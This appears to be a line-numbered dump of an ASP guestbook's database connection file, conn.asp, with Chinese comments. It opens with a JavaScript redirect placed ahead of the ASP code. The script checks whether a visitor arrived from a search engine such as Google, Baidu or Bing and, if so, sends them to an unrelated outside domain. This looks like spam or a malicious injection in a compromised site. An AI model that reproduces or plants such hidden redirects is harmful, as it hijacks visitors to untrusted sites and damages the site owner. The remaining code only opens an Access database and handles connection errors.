d:\wwwroot\wuchunhua\liuyan\board\conn.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'数据库连接变量定义
003:
Dim conn
004:
005:
'初始化数据库连接
006:
DB="./database/BOARD.mdb"
007:
Set conn = Server.CreateObject("ADODB.Connection")
008:
conn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
009:
'打开数据库连接
010:
conn.Open
011:
012:
'由程序处理错误，而不是缺省的由解释器处理错误
013:
If Err Then
014:
'发生错误，进行错误处理
015:
'释放数据库连接对象，并提示用户连接数据库出错
016:
Err.Clear
017:
Set conn = Nothing
018:
Response.Write "数据库连接出错，请检查连接字串。"
019:
Response.End
020:
End If
021:
022:
'关闭数据库连接，并释放数据库连接对象
023:
Sub EndConnection
024:
conn.close
025:
Set conn=Nothing
026:
End Sub
027:
%
>
028:
029: